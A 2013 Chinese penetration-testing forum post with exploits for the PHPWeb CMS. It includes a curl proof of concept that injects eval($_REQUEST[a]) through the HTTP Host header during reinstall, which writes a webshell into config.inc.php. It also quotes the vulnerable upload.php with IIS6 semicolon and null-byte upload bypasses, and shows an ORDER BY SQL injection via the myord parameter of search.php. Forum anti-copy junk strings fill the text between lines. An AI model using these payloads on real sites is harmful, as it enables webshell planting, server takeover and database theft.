中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
- a( x; k" M) B4 A: |
) W; N' R$ j& v* D l: M: J% C# D: b
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 o2 r3 ~ v. h# _) S0 e
" u& ^ M g: G* K7 w; Y0 X. s1 E
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
^- ^1 r9 R1 p, s% E' u& f* n
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
7 [( O# C- v1 Z8 I6 {5 J0 Q3 u5 @
& V" g' C& U5 |) b4 p; a |7 H0 Z
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
$ P' a) f/ G& }: x0 ]! o
3 B r" x# O3 ` M- M1 `
分析:
& \3 L9 ?7 y" M+ V+ U+ ~
$ H" d7 k& L% q# _
4 M: S6 q. _$ m
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
* U6 p. h1 d- }0 d
+ ?% R; L, j3 t- |% n1 q! G: ~
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 W; e8 l# S2 X8 ?6 l, @; e
$filestr=str_replace(" ","",$filestr);
- o) Z" `- C7 V. F, T& h& d6 Q4 u( x1 y
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
' X, W4 s, W- F% f) e* |1 }: ^
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
' S8 {7 R3 U; A. n7 v# e
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
u; B f0 j. |# T! V% X3 _
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; a3 f& F5 G% Y- Q$ }; w: S
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
4 p/ D) [2 X! m, j; O
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
3 Z1 z2 ?* Q7 X( V' z; J" u4 Y
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
' c0 z* e7 V3 W h2 q5 n8 y$ z
# t. p) U! e" {) \$ E9 p$ g
fwrite(fopen($ConFile,"w"),$filestr,30000);
# @2 Q! T6 O# ?
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 V% Q1 {0 I/ [ g# u/ f) y8 l
5 Y. x9 x9 w, @+ e- c s" T& v! M
poc:
- m; M9 W i! g4 z* O
$ _! i9 U# ]. {" G0 P) ^: m- c& |1 F# C8 E
?
' H) g' k9 g' k" R" i$ a/ A
1
& V/ [( b% g4 F9 n
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
% m: @ b; g/ G
shell地址: /config.inc.php
3 G6 i2 P7 h1 o9 a5 G; }' I& ~, Z1 V
跟之前的 phpcms一样 需要远程数据库
3 f9 h9 p/ W% b7 K( a% n3 e3 r
8 R5 B3 l# U: D* u1 w
——————————————————–
! K8 l( `) [- s; C+ ]
上传漏洞(需要进后台):
# G9 e8 `7 y+ v: A
漏洞文件: /kedit/upload_cgi/upload.php
C' V4 I2 s( l9 e# J. |
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ U+ _/ b! b/ b1 b
1 ^+ [8 I8 ~: ? F" o/ A" l @
( n! {' i7 i% v5 G/ u2 c3 e
<?php
8 Y; p: k" {: m
define("ROOTPATH", "../../");
$ \3 ?2 j- D# k4 a( B
include(ROOTPATH."includes/admin.inc.php");
6 i% R# I% M" {7 n
NeedAuth(0);
1 b7 P" P* v8 K
" \2 ^, z- {. G) A3 |9 X( g+ r
$dt=date("Ymd",time());
$ t5 W) x, z4 J' w4 u: Z: D
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
' _. z% o. H( h8 A3 ?- ]
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
2 F# K) q) _8 `0 S7 x( B
}
) p% T/ _* g2 |6 _. @ g3 A. l: o
) e7 q1 L, @$ B8 G* e5 s
//文件保存目录路径
5 _' U, A. F, ~3 M6 N
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
* H4 v0 p1 ~5 n0 \ A* x) b9 L
echo $save_path;
& ~' K5 G7 i* m- R; D7 _
//文件保存目录URL
* e4 T9 q3 }+ S& h
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
* _) K" m p8 L; l7 n
4 O. Y6 ?) u% |" x
//定义允许上传的文件扩展名
" p8 [9 T6 |7 ]2 E8 z4 z* {
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
. Y1 D, Y, v+ ?" B; @. A
8 b3 S; O5 L& I& L& z
//最大文件大小
3 e6 l; \% P+ l% Z
$max_size = 1000000;
% I" E6 a6 s; z' K$ q. }
5 k4 P* w, X" V6 r
//更改目录权限
/ Q4 d* ^/ V' M& W k- Q, ?
@mkdir($save_path, 0777);
' B4 B0 \0 n& [
8 w! ^9 b$ h2 j. X& `1 |1 s1 U0 ~3 H
//文件的全部路径
M. P5 D: T; F& w* k
$file_path = $save_path.$_POST['fileName']; //保存文件名
$ V/ F0 m! u) { d; N9 ?* }
( t, `' Q' E/ V" ?, r* {1 f9 G
//文件URL
8 S c3 J5 V) k+ o( F4 [4 f5 g. b
$file_url = $save_url.$_POST['fileName'];
) @. U1 a. Y! U- T0 R! P+ f
//有上传文件时
: t- c' Y+ ~+ l+ N, V
if (empty($_FILES) === false) {
7 ^& u6 m0 ]. h3 p6 ]
8 o2 B% _, ^! u7 C
//原文件名
7 I* x$ V2 i& A
$file_name = $_FILES['fileData']['name'];
) M/ B1 J0 M. k! b
//服务器上临时文件名
* n: A, `" m8 I8 o4 d% `% Q
$tmp_name = $_FILES['fileData']['tmp_name'];
8 V* \2 B( o( E( u
//文件大小
# r# L/ U. v( j+ W. X
$file_size = $_FILES['fileData']['size'];
. m/ l9 _" V3 q' S3 I2 d
//检查目录
; k0 E; y: I+ `% c. s' W( A
if (@is_dir($save_path) === false) {
# u% z$ z3 Q* H
alert("上传目录不存在。");
. v! n* w5 r) R) I: s6 |: y
}
+ j7 @2 v; C. E9 P0 ?% i( R* K
//检查目录写权限
* ?0 p' \% l& _- I" W" S
if (@is_writable($save_path) === false) {
2 u- Y* g9 S. P/ N0 z
alert("上传目录没有写权限。");
/ a0 E5 L% t. T' ~- m$ C
}
) q. M0 E& c/ Q- Z) B4 Y. q
//检查是否已上传
4 A8 u% C1 f$ B: Y8 Z3 [ e5 A1 i
if (@is_uploaded_file($tmp_name) === false) {
5 o& U. ]! N- E: o; ~
alert("临时文件可能不是上传文件。");
0 R" O- N: P0 F
}
! F- A q. @( D; T0 s$ E6 G% l( [
//检查文件大小
& q! [" P7 D, T6 c" F+ G
if ($file_size > $max_size) {
& t2 f. i3 @: K4 T+ s
alert("上传文件大小超过限制。");
+ a& D" p( S) ]& n$ T% |
}
6 o4 K! j5 o) J& Z/ {% {
//获得文件扩展名
5 _8 N2 p9 J1 U; G2 J
$temp_arr = explode(".", $_POST['fileName']);
. s* u' x' J$ U
$file_ext = array_pop($temp_arr);
, n* P2 \' M7 \4 n) v
$file_ext = trim($file_ext);
6 z- }3 D/ B- [2 f& g$ g
$file_ext = strtolower($file_ext);
$ l" {" \) S) A% P9 I1 k5 g9 ]. h
0 U5 ?6 v: k/ U/ c2 ^
//检查扩展名
% }4 D Q% K" s6 G
if (in_array($file_ext, $ext_arr) === false) {
) f0 W; q* X0 Q4 Y. v ^
alert("上传文件扩展名是不允许的扩展名。");
$ k- B* x8 i6 @
}
! |. O7 I. a+ C, M" [& g
" R, z" f! {/ t
//移动文件
- S7 k4 T }+ G- |3 k" l
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
' t% n: I8 w$ s) \
if (move_uploaded_file($tmp_name, $file_path) === false) {
1 U* X: t. x) }6 X- ?0 E
alert("上传文件失败。");
; t7 [! ]2 h3 V! q2 M9 Y; @, _) i
}
. F3 N6 b6 T" q2 d/ ^
$ c/ J2 L. f! g: d/ ^& S
@chmod($file_path,0666);
, v8 Q# h8 U/ v. M- ?: d
0 \1 {7 ?) U( \# i+ }& a f7 e, u; |
?>
6 r' r( \ t9 H/ h
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
' F- @+ \: C3 s2 N, r0 @, j. Z3 U5 _
/ y5 v& E8 K; R* J6 ~7 e* v
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
3 F! b) b! e7 R+ c( i$ a
/ o# W P5 q: Y
——————————————————
; G% U7 s# c7 R' b9 ] S
注入漏洞:
2 J; H2 ~. J' y! J3 [" l7 Y# @# N
漏洞文件:search/module/search.php
8 T7 }; x1 s9 f2 x; ^% g1 [( i
/search/index.php?key=1&myord=1 [sqlinjection]
Z" U* s) r S ]1 | @9 V
8 f( W3 R0 y& Y* P
: } w M+ R8 @! H r
<?php
: _0 R% O$ d( j, X9 G
// ... 省略 n 行...
8 a( g2 D4 A F( _
//第18行:
* S5 c7 r% m) Q* u& B. S9 W
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
1 H. [5 s; K4 y1 o$ L: v1 f
$page=htmlspecialchars($_GET["page"]);
$ i, J; m/ G4 q5 J( N5 u2 e* k
$myord=htmlspecialchars($_GET["myord"]);
) y" N: X. d, G- t/ n
1 A* D( p' [9 f% ^- G- e; V6 e
// ... 省略 n 行...
1 V6 h* L- K$ g* ]& R
$key,$myord 两个参数带入查询
, L& V- c, _5 P+ K
//第47行 $key:
/ [* k) k& v+ E+ B
3 g. M# ^2 z, [; Y* a+ g) r+ q# E
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
9 o7 y& [2 f7 E# P5 s# m( z
! L' l) V) @: S- m
//第197行 $myord
7 d+ u" L5 W3 o, Q& Z
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
% V r% _! k9 z! i
/ o) i8 e7 C- ~- g* f( Z: L
?>
+ O- ]# U5 a: }. M
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2